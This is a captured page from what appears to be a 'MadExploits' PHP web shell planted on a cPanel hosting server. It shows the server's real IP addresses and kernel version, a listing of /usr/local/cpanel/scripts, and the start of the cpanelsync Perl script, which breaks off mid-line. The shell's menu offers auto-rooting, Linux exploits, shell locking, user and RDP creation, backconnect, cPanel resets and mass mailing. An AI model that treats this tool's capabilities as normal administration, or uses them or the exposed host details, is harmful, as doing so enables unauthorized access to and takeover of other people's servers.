Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.149.29.98
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
local /
cpanel /
scripts /
[ HOME SHELL ]
Name
Size
Permission
Action
cpan_sandbox
[ DIR ]
drwxr-xr-x
php_sandbox
[ DIR ]
drwxr-xr-x
MirrorSearch_pingtest
2.38
KB
-rwxr-xr-x
activesync-invite-reply
1.69
KB
-rwxr-xr-x
add_dns
2.36
KB
-rwxr-xr-x
adddns
2.36
KB
-rwxr-xr-x
addpop
6.08
KB
-rwxr-xr-x
addsystemuser
3.27
KB
-rwxr-xr-x
adduser
92
B
-rwxr-xr-x
apachelimits
4.31
KB
-rwxr-xr-x
archive_sync_zones
3.02
KB
-rwxr-xr-x
auto-adjust-mysql-limits
1.81
KB
-rwxr-xr-x
autorepair
1.24
KB
-rwxr-xr-x
backups_clean_metadata_for_mis...
1.57
KB
-rwxr-xr-x
backups_create_metadata
15.75
KB
-rwxr-xr-x
backups_list_user_files
4.56
KB
-rwxr-xr-x
balance_linked_node_quotas
2.58
KB
-rwxr-xr-x
biglogcheck
1.69
KB
-rwxr-xr-x
build_bandwidthdb_root_cache_i...
1.52
KB
-rwxr-xr-x
build_cpnat
3.41
KB
-rwxr-xr-x
build_mail_sni
3.87
KB
-rwxr-xr-x
build_maxemails_config
1.14
KB
-rwxr-xr-x
builddovecotconf
6.76
KB
-rwxr-xr-x
buildeximconf
7
KB
-rwxr-xr-x
buildhttpdconf
2.6
KB
-rwxr-xr-x
buildnsdconf
1.01
KB
-rwxr-xr-x
buildpureftproot
539
B
-rwxr-xr-x
ccs-check
4.91
KB
-rwxr-xr-x
check_cpanel_pkgs
10.75
KB
-rwxr-xr-x
check_cpanel_rpms
218
B
-rwxr-xr-x
check_domain_tls_service_domai...
6.68
KB
-rwxr-xr-x
check_immutable_files
5.49
KB
-rwxr-xr-x
check_mail_spamassassin_compil...
187
B
-rwxr-xr-x
check_maxmem_against_domains_c...
3.57
KB
-rwxr-xr-x
check_mount_procfs
2.02
KB
-rwxr-xr-x
check_mysql
5.55
KB
-rwxr-xr-x
check_security_advice_changes
8.28
KB
-rwxr-xr-x
check_unmonitored_enabled_serv...
4.56
KB
-rwxr-xr-x
check_unreliable_resolvers
3.59
KB
-rwxr-xr-x
check_users_my_cnf
6.05
KB
-rwxr-xr-x
check_valid_server_hostname
7.66
KB
-rwxr-xr-x
checkalldomainsmxs
2.4
KB
-rwxr-xr-x
checkbashshell
1.18
KB
-rwxr-xr-x
checkccompiler
1.22
KB
-rwxr-xr-x
checkexim.pl
3.1
KB
-rwxr-xr-x
checklink
1.29
KB
-rwxr-xr-x
checknsddirs
1014
B
-rwxr-xr-x
checkusers
856
B
-rwxr-xr-x
chkmydns
561
B
-rwxr-xr-x
chkpaths
141
B
-rwxr-xr-x
chpass
416
B
-rwxr-xr-x
ckillall
1.11
KB
-rwxr-xr-x
clean_dead_mailman_locks
2.09
KB
-rwxr-xr-x
clean_up_temp_wheel_users
2.44
KB
-rwxr-xr-x
clean_user_php_sessions
4.76
KB
-rwxr-xr-x
cleandns
13.09
KB
-rwxr-xr-x
cleandns8
417
B
-rwxr-xr-x
cleanmsglog
735
B
-rwxr-xr-x
cleanphpsessions
932
B
-rwxr-xr-x
cleanphpsessions.php
658
B
-rw-r--r--
cleanquotas
1.61
KB
-rwxr-xr-x
cleansessions
5.91
KB
-rwxr-xr-x
cleanupinterchange
2.64
KB
-rwxr-xr-x
cleanupmysqlprivs
533
B
-rwxr-xr-x
clear_cpaddon_ui_caches
1.27
KB
-rwxr-xr-x
clear_orphaned_virtfs_mounts
3.56
KB
-rwxr-xr-x
comparecdb
1.52
KB
-rwxr-xr-x
compilers
2.86
KB
-rwxr-xr-x
compilerscheck
999
B
-rwxr-xr-x
configure_firewall_for_cpanel
520
B
-rwxr-xr-x
configure_rh_firewall_for_cpan...
520
B
-rwxr-xr-x
configure_rh_ipv6_firewall_for...
520
B
-rwxr-xr-x
convert2dovecot
682
B
-rwxr-xr-x
convert_accesshash_to_token
4.07
KB
-rwxr-xr-x
convert_and_migrate_from_legac...
1.97
KB
-rwxr-xr-x
convert_maildir_to_mdbox
1.66
KB
-rwxr-xr-x
convert_mdbox_to_maildir
1.66
KB
-rwxr-xr-x
convert_roundcube_mysql2sqlite
25.28
KB
-rwxr-xr-x
convert_to_dovecot_delivery
4.33
KB
-rwxr-xr-x
convert_whmxfer_to_sqlite
1.46
KB
-rwxr-xr-x
copy_user_mail_as_root
1.25
KB
-rwxr-xr-x
copy_user_mail_as_user
1.34
KB
-rwxr-xr-x
cpaddonsup
3.25
KB
-rwxr-xr-x
cpan_config
2.8
KB
-rwxr-xr-x
cpanel_initial_install
67.36
KB
-rwxr-xr-x
cpanelsync
28.31
KB
-rwxr-xr-x
cpanelsync_postprocessor
1.62
KB
-rwxr-xr-x
cpanpingtest
965
B
-rwxr-xr-x
cpbackup
44.77
KB
-rwxr-xr-x
cpbackup_transport_file
5.65
KB
-rwxr-xr-x
cpdig
1.81
KB
-rwxr-xr-x
cpfetch
1.23
KB
-rwxr-xr-x
cphulkdblacklist
433
B
-rwxr-xr-x
cphulkdwhitelist
1.3
KB
-rwxr-xr-x
cpservice
2.87
KB
-rwxr-xr-x
cpuser_port_authority
19.29
KB
-rwxr-xr-x
cpuser_service_manager
10.85
KB
-rwxr-xr-x
createacct
24.57
MB
-rwx------
custom_backup_destination.pl.s...
5.06
KB
-rwxr-xr-x
custom_backup_destination.pl.s...
2.84
KB
-rwxr-xr-x
dav_change_hostname
3.57
KB
-rwxr-xr-x
dcpumon-wrapper
850
B
-rwxr-xr-x
delpop
6.2
KB
-rwxr-xr-x
detect_env_capabilities
508
B
-rwxr-xr-x
disable_prelink
2.77
KB
-rwxr-xr-x
disable_sqloptimizer
1.49
KB
-rwxr-xr-x
disablefileprotect
2.09
KB
-rwxr-xr-x
distro_changed_hook
1.16
KB
-rwxr-xr-x
dnscluster
4.44
KB
-rwxr-xr-x
dnsqueuecron
1.29
KB
-rwxr-xr-x
dnssec-cluster-keys
3.75
KB
-rwxr-xr-x
dovecot_maintenance
7.93
KB
-rwxr-xr-x
dovecot_set_defaults.pl
984
B
-rwxr-xr-x
dumpcdb
866
B
-rwxr-xr-x
dumpinodes
687
B
-rwxr-xr-x
dumpquotas
616
B
-rwxr-xr-x
dumpstor
913
B
-rwxr-xr-x
ea4_fresh_install
2.64
KB
-rwxr-xr-x
edit_cpanelsync_exclude_list
2.58
KB
-rwxr-xr-x
editquota
3.44
KB
-rwxr-xr-x
elevate-cpanel
314.53
KB
-rwx------
email_archive_maintenance
6.15
KB
-rwxr-xr-x
email_hold_maintenance
1.46
KB
-rwxr-xr-x
enable_spf_dkim_globally
8.83
KB
-rwxr-xr-x
enable_sqloptimizer
1.57
KB
-rwxr-xr-x
enablefileprotect
2.1
KB
-rwxr-xr-x
ensure_autoenabled_features
2.5
MB
-rwx------
ensure_conf_dir_crt_key
4.82
KB
-rwxr-xr-x
ensure_cpuser_file_ip
2.55
KB
-rwxr-xr-x
ensure_crontab_permissions
1.08
KB
-rwxr-xr-x
ensure_dovecot_memory_limits_m...
3.13
KB
-rwxr-xr-x
ensure_hostname_resolves
2.57
KB
-rwxr-xr-x
ensure_includes
601
B
-rwxr-xr-x
ensure_vhost_includes
13.53
KB
-rwxr-xr-x
exim_tidydb
2.96
KB
-rwxr-xr-x
eximconfgen
1.32
KB
-rwxr-xr-x
eximstats_spam_check
867
B
-rwxr-xr-x
export_horde_calendars_to_ics
15.07
KB
-rwxr-xr-x
export_horde_contacts_to_vcf
13.94
KB
-rwxr-xr-x
exportmydnsdb
3.47
KB
-rwxr-xr-x
expunge_expired_certificates_f...
3.56
KB
-rwxr-xr-x
expunge_expired_pkgacct_sessio...
852
B
-rwxr-xr-x
expunge_expired_transfer_sessi...
1.06
KB
-rwxr-xr-x
fastmail
5.16
KB
-rwxr-xr-x
featuremod
1.92
KB
-rwxr-xr-x
fetchfile
422
B
-rwxr-xr-x
find_and_fix_rpm_issues
6.99
KB
-rwxr-xr-x
find_outdated_services
5.41
KB
-rwxr-xr-x
find_pids_with_inotify_watch_o...
3.66
KB
-rwxr-xr-x
fix-cpanel-perl
28.82
KB
-rwxr-xr-x
fix-listen-on-localhost
3.52
KB
-rwxr-xr-x
fix-web-vhost-configuration
6.15
KB
-rwxr-xr-x
fix_addon_permissions
7.68
KB
-rwxr-xr-x
fix_dns_zone_ttls
1.34
KB
-rwxr-xr-x
fix_innodb_tables
4.05
KB
-rwxr-xr-x
fix_pear_registry
4.07
KB
-rwxr-xr-x
fix_reseller_acls
10.88
KB
-rwxr-xr-x
fixetchosts
4.32
KB
-rwxr-xr-x
fixheaders
572
B
-rwxr-xr-x
fixmailinglistperms
1008
B
-rwxr-xr-x
fixmailman
2.09
KB
-rwxr-xr-x
fixnamedviews
1.22
KB
-rwxr-xr-x
fixndc
413
B
-rwxr-xr-x
fixquotas
17.45
KB
-rwxr-xr-x
fixrelayd
1.74
KB
-rwxr-xr-x
fixrndc
16.48
KB
-rwxr-xr-x
fixtar
503
B
-rwxr-xr-x
fixtlsversions
4.7
KB
-rwxr-xr-x
fixvaliases
2
KB
-rwxr-xr-x
fixwebalizer
966
B
-rwxr-xr-x
forcelocaldomain
895
B
-rwxr-xr-x
ftpfetch
2.2
KB
-rwxr-xr-x
ftpquotacheck
8.31
KB
-rwxr-xr-x
ftpsfetch
2.36
KB
-rwxr-xr-x
ftpupdate
261
B
-rwxr-xr-x
gemwrapper
1.74
KB
-rwxr-xr-x
gencrt
6.26
KB
-rwxr-xr-x
generate_account_suspension_in...
5.7
KB
-rwxr-xr-x
generate_google_drive_credenti...
1.11
KB
-rwxr-xr-x
generate_google_drive_oauth_ur...
984
B
-rwxr-xr-x
generate_maildirsize
13.94
KB
-rwxr-xr-x
gensysinfo
1.16
KB
-rwxr-xr-x
get_locale_from_legacy_name_in...
1.99
KB
-rwxr-xr-x
getremotecpmove
12.67
KB
-rwxr-xr-x
grpck
1.19
KB
-rwxr-xr-x
hackcheck
3.02
KB
-rwxr-xr-x
hook
1.45
KB
-rwxr-xr-x
httpspamdetect
2.66
KB
-rwxr-xr-x
hulk-unban-ip
3.93
MB
-rwx------
import_exim_data
8.39
KB
-rwxr-xr-x
importmydnsdb
11.34
KB
-rwxr-xr-x
increase_filesystem_limits
891
B
-rwxr-xr-x
initacls
4.99
KB
-rwxr-xr-x
initfpsuexec
444
B
-rwxr-xr-x
initquotas
19.47
KB
-rwxr-xr-x
initsuexec
4.03
KB
-rwxr-xr-x
install_cpanel_analytics
1.93
KB
-rwxr-xr-x
install_dovecot_fts
1.57
KB
-rwxr-xr-x
install_plugin
2.8
KB
-rwxr-xr-x
installpkg
575
B
-rwxr-xr-x
installpostgres
6.56
KB
-rwxr-xr-x
installsqlite3
1.82
KB
-rwxr-xr-x
ipcheck
3.93
KB
-rwxr-xr-x
ipusage
7.45
KB
-rwxr-xr-x
isdedicatedip
602
B
-rwxr-xr-x
jetbackup-check
3.69
KB
-rwxr-xr-x
killdns
422
B
-rwxr-xr-x
killdns-dnsadmin
1.15
KB
-rwxr-xr-x
killmysqluserprivs
433
B
-rwxr-xr-x
killmysqlwildcard
1.15
KB
-rwxr-xr-x
killpvhost
853
B
-rwxr-xr-x
killspamkeys
937
B
-rwxr-xr-x
link_3rdparty_binaries
1.24
KB
-rwxr-xr-x
linksubemailtomainacct
3.17
KB
-rwxr-xr-x
listcheck
538
B
-rwxr-xr-x
listsubdomains
1.05
KB
-rwxr-xr-x
litespeed-check
3.86
KB
-rwxr-xr-x
locale_export
4.82
KB
-rwxr-xr-x
locale_import
4.35
KB
-rwxr-xr-x
locale_info
3.99
KB
-rwxr-xr-x
logo.dat
205
B
-rw-r--r--
magicloader
1.94
KB
-rwxr-xr-x
maildir_converter
6.08
KB
-rwxr-xr-x
mailperm
16.58
KB
-rwxr-xr-x
mailscannerupdate
2.42
KB
-rwxr-xr-x
mainipcheck
10
KB
-rwxr-xr-x
maintenance
46.62
KB
-rwxr-xr-x
make_config
407
B
-rw-r--r--
make_hostname_unowned
1.16
KB
-rwxr-xr-x
manage_extra_marketing
12.41
KB
-rwx------
manage_greylisting
16.19
KB
-rwxr-xr-x
manage_mysql_profiles
20.02
KB
-rwxr-xr-x
migrate-pdns-conf
9.83
KB
-rwxr-xr-x
migrate_local_ini_to_php_ini
7.41
KB
-rwxr-xr-x
migrate_whmtheme_file_to_userd...
2.95
KB
-rwxr-xr-x
mkwwwacctconf
2.33
KB
-rwxr-xr-x
modify_accounts
4.09
KB
-rwxr-xr-x
modify_default_featurelist_ent...
5.18
KB
-rwx------
modify_packages
3.65
KB
-rwxr-xr-x
modsec_vendor
15.63
KB
-rwxr-xr-x
mysqlconnectioncheck
6.55
KB
-rwxr-xr-x
mysqlpasswd
4.09
KB
-rwxr-xr-x
named.ca
1.57
KB
-rw-r--r--
named.rfc1912.zones
774
B
-rw-r--r--
nixstatsagent.sh
58.67
KB
-rwx------
notify_expiring_certificates
9.37
KB
-rwxr-xr-x
notify_expiring_certificates_o...
1.33
KB
-rwxr-xr-x
oopscheck
1.12
KB
-rwxr-xr-x
optimize_eximstats
3.88
KB
-rwxr-xr-x
patch_mail_spamassassin_compil...
2.39
KB
-rwxr-xr-x
patchfdsetsize
2.72
KB
-rwxr-xr-x
pedquota
2.26
KB
-rwxr-xr-x
perform_sqlite_auto_rebuild_db...
2.2
KB
-rwxr-xr-x
perlinstaller
528
B
-rwxr-xr-x
perlmods
1.18
KB
-rwxr-xr-x
php_fpm_config
9.73
KB
-rwxr-xr-x
phpini_tidy
687
B
-rwxr-xr-x
pkgacct
87.82
KB
-rwxr-xr-x
post_snapshot
3.16
KB
-rwxr-xr-x
post_sync_cleanup
6.09
KB
-rwxr-xr-x
premodifyacct
62
B
-rwxr-xr-x
primary_virtual_host_migration
2.44
KB
-rwxr-xr-x
process_pending_cpanel_php_pea...
3.49
KB
-rwxr-xr-x
process_site_templates
7.27
KB
-rwxr-xr-x
proxydomains
9.34
KB
-rwxr-xr-x
ptycheck
724
B
-rwxr-xr-x
purge_modsec_log
1.53
KB
-rwxr-xr-x
purge_old_config_caches
2.08
KB
-rwxr-xr-x
pwck
708
B
-rwxr-xr-x
quickdnslookup
1.13
KB
-rwxr-xr-x
quickwhoisips
2.29
KB
-rwxr-xr-x
quota_auto_fix
1.41
KB
-rwxr-xr-x
quotacheck
22.36
KB
-rwxr-xr-x
rawchpass
460
B
-rwxr-xr-x
rdate
4.8
KB
-rwxr-xr-x
realadduser
5.61
KB
-rwxr-xr-x
realchpass
3.26
KB
-rwxr-xr-x
realperlinstaller
5.67
KB
-rwxr-xr-x
realrawchpass
425
B
-rwxr-xr-x
rebuild_available_addons_packa...
1.27
KB
-rwxr-xr-x
rebuild_available_rpm_addons_c...
1.27
KB
-rwxr-xr-x
rebuild_bandwidthdb_root_cache
1.45
KB
-rwxr-xr-x
rebuild_dbmap
5.8
KB
-rwxr-xr-x
rebuild_provider_openid_connec...
1.01
KB
-rwxr-xr-x
rebuild_whm_chrome
2.22
KB
-rwxr-xr-x
rebuilddnsconfig
26.21
KB
-rwxr-xr-x
rebuildhttpdconf
2.6
KB
-rwxr-xr-x
rebuildinstalledssldb
2.85
KB
-rwxr-xr-x
rebuildippool
509
B
-rwxr-xr-x
rebuildnsdzones
1.14
KB
-rwxr-xr-x
rebuilduserssldb
948
B
-rwxr-xr-x
refresh-dkim-validity-cache
5.97
KB
-rwxr-xr-x
regenerate_tokens
2.18
KB
-rwxr-xr-x
reloadnsd
821
B
-rwxr-xr-x
remote_log_transfer
11.6
KB
-rwxr-xr-x
remove_dovecot_index_files
5.89
KB
-rwxr-xr-x
removeacct
20.91
MB
-rwx------
rescan_user_dovecot_fts
2.98
KB
-rwxr-xr-x
reset_mail_quotas_to_sane_valu...
6.82
KB
-rwxr-xr-x
resetmailmanurls
2.03
KB
-rwxr-xr-x
resetquotas
4.68
KB
-rwxr-xr-x
restartsrv
3.23
KB
-rwxr-xr-x
restartsrv_apache
422
B
-rwxr-xr-x
restartsrv_apache_php_fpm
9.9
MB
-rwxr-xr-x
restartsrv_base
9.9
MB
-rwxr-xr-x
restartsrv_bind
9.9
MB
-rwxr-xr-x
restartsrv_chkservd
427
B
-rwxr-xr-x
restartsrv_clamd
9.9
MB
-rwxr-xr-x
restartsrv_cpanalyticsd
9.9
MB
-rwxr-xr-x
restartsrv_cpanel_php_fpm
9.9
MB
-rwxr-xr-x
restartsrv_cpanellogd
9.9
MB
-rwxr-xr-x
restartsrv_cpdavd
9.9
MB
-rwxr-xr-x
restartsrv_cpgreylistd
9.9
MB
-rwxr-xr-x
restartsrv_cphulkd
9.9
MB
-rwxr-xr-x
restartsrv_cpipv6
9.9
MB
-rwxr-xr-x
restartsrv_cpsrvd
9.9
MB
-rwxr-xr-x
restartsrv_crond
9.9
MB
-rwxr-xr-x
restartsrv_dnsadmin
9.9
MB
-rwxr-xr-x
restartsrv_dovecot
9.9
MB
-rwxr-xr-x
restartsrv_exim
9.9
MB
-rwxr-xr-x
restartsrv_eximstats
504
B
-rwxr-xr-x
restartsrv_ftpd
426
B
-rwxr-xr-x
restartsrv_ftpserver
911
B
-rwxr-xr-x
restartsrv_httpd
9.9
MB
-rwxr-xr-x
restartsrv_imap
437
B
-rwxr-xr-x
restartsrv_inetd
2.47
KB
-rwxr-xr-x
restartsrv_ipaliases
9.9
MB
-rwxr-xr-x
restartsrv_lmtp
437
B
-rwxr-xr-x
restartsrv_mailman
9.9
MB
-rwxr-xr-x
restartsrv_mydns
9.9
MB
-rwxr-xr-x
restartsrv_mysql
9.9
MB
-rwxr-xr-x
restartsrv_named
777
B
-rwxr-xr-x
restartsrv_nscd
9.9
MB
-rwxr-xr-x
restartsrv_nsd
9.9
MB
-rwxr-xr-x
restartsrv_p0f
9.9
MB
-rwxr-xr-x
restartsrv_pdns
9.9
MB
-rwxr-xr-x
restartsrv_pop3
437
B
-rwxr-xr-x
restartsrv_postgres
427
B
-rwxr-xr-x
restartsrv_postgresql
9.9
MB
-rwxr-xr-x
restartsrv_powerdns
442
B
-rwxr-xr-x
restartsrv_proftpd
9.9
MB
-rwxr-xr-x
restartsrv_pureftpd
9.9
MB
-rwxr-xr-x
restartsrv_queueprocd
9.9
MB
-rwxr-xr-x
restartsrv_rsyslog
9.9
MB
-rwxr-xr-x
restartsrv_rsyslogd
437
B
-rwxr-xr-x
restartsrv_spamd
9.9
MB
-rwxr-xr-x
restartsrv_sshd
9.9
MB
-rwxr-xr-x
restartsrv_syslogd
2.4
KB
-rwxr-xr-x
restartsrv_tailwatchd
9.9
MB
-rwxr-xr-x
restartsrv_unknown
9.9
MB
-rwxr-xr-x
restartsrv_xinetd
422
B
-rwxr-xr-x
restorecpuserfromcache
1.96
KB
-rwxr-xr-x
restorepkg
36.49
MB
-rwx------
rfc1912_zones.tar
10
KB
-rw-r--r--
rpmup
4.77
KB
-rwxr-xr-x
rsync-user-homedir.pl
5.76
KB
-rwxr-xr-x
run_if_exists
512
B
-rwxr-xr-x
runstatsonce
440
B
-rwxr-xr-x
runweblogs
1.02
KB
-rwxr-xr-x
sa-update_wrapper
3.34
KB
-rwxr-xr-x
safetybits.pl
844
B
-rwxr-xr-x
secureit
4.72
KB
-rwxr-xr-x
securemysql
4.54
KB
-rwxr-xr-x
securerailsapps
3.58
KB
-rwxr-xr-x
securetmp
15.99
KB
-rwxr-xr-x
sendicq
474
B
-rwxr-xr-x
servicedomains
9.34
KB
-rwxr-xr-x
set_mailman_archive_perms
1.75
KB
-rwxr-xr-x
set_php_memory_limits
3.67
KB
-rwxr-xr-x
setpostgresconfig
6.04
KB
-rwxr-xr-x
setup_greylist_db
16.19
KB
-rwxr-xr-x
setup_modsec_db
1.3
KB
-rwxr-xr-x
setupftpserver
10.47
KB
-rwxr-xr-x
setupmailserver
9.55
KB
-rwxr-xr-x
setupnameserver
13.75
KB
-rwxr-xr-x
shrink_modsec_ip_database
12.97
KB
-rwxr-xr-x
simpleps
3.05
KB
-rwxr-xr-x
slurp_exim_mainlog
5.78
KB
-rwxr-xr-x
smartcheck
15.13
KB
-rwxr-xr-x
smtpmailgidonly
8.15
KB
-rwxr-xr-x
snapshot_prep
5.88
KB
-rwxr-xr-x
spamassassin_dbm_cleaner
5.85
KB
-rwxr-xr-x
spamassassindisable
3.74
KB
-rwxr-xr-x
spamboxdisable
2.27
KB
-rwxr-xr-x
sshcontrol
14.38
KB
-rwxr-xr-x
ssl_crt_status
3.84
KB
-rwxr-xr-x
suspendacct
18.01
KB
-rwxr-xr-x
suspendmysqlusers
4.42
KB
-rwxr-xr-x
swapip
3.82
KB
-rwxr-xr-x
sync-mysql-users-from-grants
1.2
KB
-rwxr-xr-x
sync_child_accounts
1.77
KB
-rwxr-xr-x
sync_contact_emails_to_cpanel_...
1.14
KB
-rwxr-xr-x
synccpaddonswithsqlhost
6.59
KB
-rwxr-xr-x
synctransfers
1.92
KB
-rwxr-xr-x
syslog_check
1.36
KB
-rwxr-xr-x
sysup
645
B
-rwxr-xr-x
test_sa_compiled
1.07
KB
-rwxr-xr-x
transfer_account_as_user
2.34
KB
-rwxr-xr-x
transfer_accounts_as_root
4.76
KB
-rwxr-xr-x
transfer_in_progress
3.08
KB
-rwxr-xr-x
transfer_in_progress.pod
312
B
-rw-r--r--
transfermysqlusers
9.53
MB
-rwx------
try-later
7.95
KB
-rwxr-xr-x
unblockip
667
B
-rwxr-xr-x
uninstall_cpanel_analytics
1.2
KB
-rwxr-xr-x
uninstall_dovecot_fts
562
B
-rwxr-xr-x
uninstall_plugin
2.84
KB
-rwxr-xr-x
unlink_service_account
2.62
KB
-rwxr-xr-x
unpkgacct
4.6
KB
-rwxr-xr-x
unslavenamedconf
863
B
-rwxr-xr-x
unsuspendacct
17.8
KB
-rwxr-xr-x
unsuspendmysqlusers
6.71
KB
-rwxr-xr-x
upcp
31.56
KB
-rwxr-xr-x
upcp-running
2.7
KB
-rwxr-xr-x
upcp.static
708.6
KB
-rwxr-xr-x
update-packages
4.77
KB
-rwxr-xr-x
update_apachectl
480
B
-rwxr-xr-x
update_db_cache
430
B
-rwxr-xr-x
update_dkim_keys
1.45
KB
-rwxr-xr-x
update_exim_rejects
1.21
KB
-rwxr-xr-x
update_existing_mail_quotas_fo...
4.78
KB
-rwxr-xr-x
update_known_proxy_ips
1002
B
-rwxr-xr-x
update_local_rpm_versions
4.56
KB
-rwxr-xr-x
update_mailman_cache
8.34
KB
-rwxr-xr-x
update_mysql_systemd_config
1.25
KB
-rwxr-xr-x
update_neighbor_netblocks
487
B
-rwxr-xr-x
update_sa_config
2.14
KB
-rwxr-xr-x
update_spamassassin_config
10.73
KB
-rwxr-xr-x
update_users_jail
691
B
-rwxr-xr-x
update_users_vhosts
801
B
-rwxr-xr-x
updatedomainips
605
B
-rwxr-xr-x
updatenameserverips
1.66
KB
-rwxr-xr-x
updatenow
5.18
KB
-rwxr-xr-x
updatenow.static
1.91
MB
-rwxr-xr-x
updatenow.static-cpanelsync
1.97
MB
-rwx------
updatesigningkey
1.95
KB
-rwxr-xr-x
updatessldomains
1.81
KB
-rwxr-xr-x
updatesupportauthorizations
2.49
KB
-rwxr-xr-x
updateuserdatacache
2.47
KB
-rwxr-xr-x
updateuserdomains
774
B
-rwxr-xr-x
upgrade_bandwidth_dbs
2.22
KB
-rwxr-xr-x
upgrade_subaccount_databases
2.73
KB
-rwxr-xr-x
userdata_wildcard_cleanup
5.74
KB
-rwxr-xr-x
userdirctl
5.01
KB
-rwxr-xr-x
validate_sshkey_passphrase
1.21
KB
-rwxr-xr-x
verify_api_spec_files
757
B
-rwxr-xr-x
verify_pidfile
1.96
KB
-rwxr-xr-x
verify_vhost_includes
7.34
KB
-rwxr-xr-x
vps_optimizer
7.82
KB
-rwxr-xr-x
vzzo-fixer
725
B
-rwxr-xr-x
whmlogin
2.33
KB
-rwxr-xr-x
whoowns
1.13
KB
-rwxr-xr-x
wpt_license
6.27
MB
-rwx------
wwwacct
24.57
MB
-rwx------
wwwacct2
88
B
-rwxr-xr-x
xfer_rcube_schema_migrate.pl
2.4
KB
-rwxr-xr-x
xfer_rcube_uid_resolver.pl
1.8
KB
-rwxr-xr-x
xferpoint
3.13
KB
-rwxr-xr-x
xfertool
16.14
KB
-rwxr-xr-x
zoneexists
800
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : cpanelsync
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/cpanelsync Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package Scripts::cpanelsync; ## "grep '###' cpanelsync" gives an overview of the logic and files downloaded BEGIN { my $running_in_debugger = exists $INC{'perl5db.pl'}; if ($running_in_debugger) { $ENV{'LANG'} = 'C'; } if ( defined $ENV{'LANG'} && $ENV{'LANG'} ne 'C' && !$^C ) { $ENV{'LANG'} = 'C'; exec $0, @ARGV; die 'Failed to recreate self in a sane env'; } } use strict; use warnings; use Socket; use Cpanel::Tar (); use Cpanel::HttpRequest (); use Cpanel::SafeDir::MK (); use Cpanel::Sync::Common (); use Cpanel::Sync::Digest (); use Cpanel::Usage (); use Cpanel::Crypt::GPG::Settings (); exit __PACKAGE__->script(@ARGV) unless caller(); sub script { my ( $package, @argv ) = @_; local $| = 1; $SIG{'INT'} = 'IGNORE'; my ( $exit_code, $options, $host, $url, $root ) = _parse_argv( \@argv ); if ( defined $exit_code ) { return $exit_code; } else { $exit_code = 0; } eval { no warnings; local $SIG{'__DIE__'}; local $SIG{'__WARN__'}; require Cpanel::Carp; local $SIG{'__DIE__'}; local $SIG{'__WARN__'}; Cpanel::Carp::enable(); $Cpanel::Carp::OUTPUT_FORMAT = 'suppress'; }; # setup httpclient with keyring my $httpClient = Cpanel::HttpRequest->new( categories => $options->{categories}, vendor => $options->{vendor}, hideOutput => $options->{quiet}, ); if ( !-d $root ) { Cpanel::SafeDir::MK::safemkdir( $root, '0755', 2 ); if ( !-d $root ) { die "Unable to create directory $root"; } } _wait_for_mirror_lock( $httpClient, $host, $url, $options ); ### "$url/.cpanelsync.version", if ( $options->{repo} ) { # The intent with the unchecked exit code is apparently that the repo version needs to # be updated at the start of the cpanelsync run so that it can be compared to the state # at the end of the cpanelsync run. $exit_code = check_repo_version( $options->{repo}, $httpClient, $host, $url ); } my $dotcpanelsync = "$root/.cpanelsync"; my %OLDFILES; my %NEWFILES; if ( !-e $dotcpanelsync ) { ### ## if .cpanelsync does not exist, download/extract the .tar.bz2 my $basedir = $root; my @DIRS = split m{ [/] }xms, $basedir; pop @DIRS; $basedir = join '/', @DIRS; my $basename = $url; my @BDIR = split m{ [/] }xms, $basename; $basename = pop @BDIR; if ( $basedir eq '' ) { $basedir = '/'; } my $tarball = "$basedir/$basename.tar"; my $bz2 = "$tarball.bz2"; unlink $bz2; ### "http://${host}${url}.tar.bz2" if ( eval { downloadfile( $httpClient, "http://${host}${url}.tar.bz2", $bz2, $options->{signed} ) } ) { my $tarcfg = Cpanel::Tar::load_tarcfg(); system( $tarcfg->{'bin'}, '-x', '-p', $tarcfg->{'no_same_owner'}, '-j', '-v', '-C', $basedir, '-f', $bz2 ); unlink $bz2; } ## TODO?: take the md5sums of the new files, and manipulate %OLDFILES (or %MD5LIST?) } else { if ( open my $cpsync_fh, '<', $dotcpanelsync ) { no warnings; # we will discard undef in our delete local $/; %OLDFILES = map { reverse( ( split( /===/, $_ ) )[ 0, 1 ] ) } split( /\n/, readline($cpsync_fh) ); delete @OLDFILES{''}; $OLDFILES{'.'} = 'd'; close $cpsync_fh; } } my @FILELIST; my $trycount = 0; my $usebz2 = 1; my $skipbz2 = 0; # Download file list to sync while (1) { ### $trycount++; if ( $trycount % 2 == 0 ) { $usebz2 = 0; } else { $usebz2 = 1; } my $target_url = "${url}/.cpanelsync"; my $staged_destfile = "${dotcpanelsync}.staged"; my $download_destfile = $staged_destfile; if ( !$skipbz2 && $usebz2 ) { $target_url .= '.bz2'; $download_destfile .= '.bz2'; } eval { $httpClient->request( 'host' => $host, 'url' => $target_url, 'protocol' => 1, 'destfile' => $download_destfile, 'signed' => $options->{signed} ); }; # Note: signed requests will automatically unbzip the target to verify signatures if ( !$@ && -e $staged_destfile ) { if ( rename( $staged_destfile, $dotcpanelsync ) ) { if ( open( my $cpanelsync_fh, $dotcpanelsync ) ) { local $/; @FILELIST = split( /\n/, readline($cpanelsync_fh) ); close($cpanelsync_fh); } } else { print "Failed to overwrite $dotcpanelsync: $!\n"; } } if ( -e "$dotcpanelsync.bz2" ) { unlink "$dotcpanelsync.bz2"; $skipbz2 = 1; } last if ( @FILELIST && $FILELIST[-1] eq '.' ); if ( $trycount > 1 ) { if ( $trycount == 10 ) { print "Tried to download the sync file 10 times and failed!\n"; return 1; } downloadfailed($httpClient); } } # Global excludes for handling excluded files from update or permission checks my @excludes = Cpanel::Sync::Common::get_excludes($Cpanel::Sync::Common::cpanelsync_excludes); my @chmod_excludes = Cpanel::Sync::Common::get_excludes($Cpanel::Sync::Common::cpanelsync_chmod_excludes); my %MD5LIST; loadmd5s( \%MD5LIST, $root ) if -e "$dotcpanelsync.md5s"; my @allowed_digests = 